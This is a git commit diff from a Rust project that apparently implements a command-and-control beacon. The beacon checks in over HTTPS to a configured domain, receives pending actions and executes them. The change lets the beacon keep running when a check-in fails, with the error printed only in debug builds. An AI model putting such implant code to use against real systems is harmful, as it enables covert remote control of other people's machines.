fix: don't crash the beacon if an action fails

This commit is contained in:
Andrew Rioux 2025-10-21 08:19:57 -04:00
parent 135576c5d3
commit 1e65a7b010
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94

View File

@ -108,7 +108,7 @@ where
let runtime_config = {
let client = callback::obtain_https_client(&host_adapter, &params).await?;
let messages::BeaconConfig { runtime_config, unfinished_actions } = make_request(
let messages::BeaconConfig { runtime_config, unfinished_actions } = match make_request(
&client,
format!("https://{}/checkin", params.domain_name::<A>()?).parse()?,
messages::RegisterBeacon {
@ -127,7 +127,15 @@ where
.expect("cargo did not provide a valid pkg version minor"),
)
}
).await?;
).await {
Ok(res) => res,
Err(e) => {
if cfg!(debug_assertions) {
eprintln!("Error downloading new beacon configuration: {e:?}");
}
continue;
}
};
for (cmd_id, action) in unfinished_actions {
let action_result = match action.execute(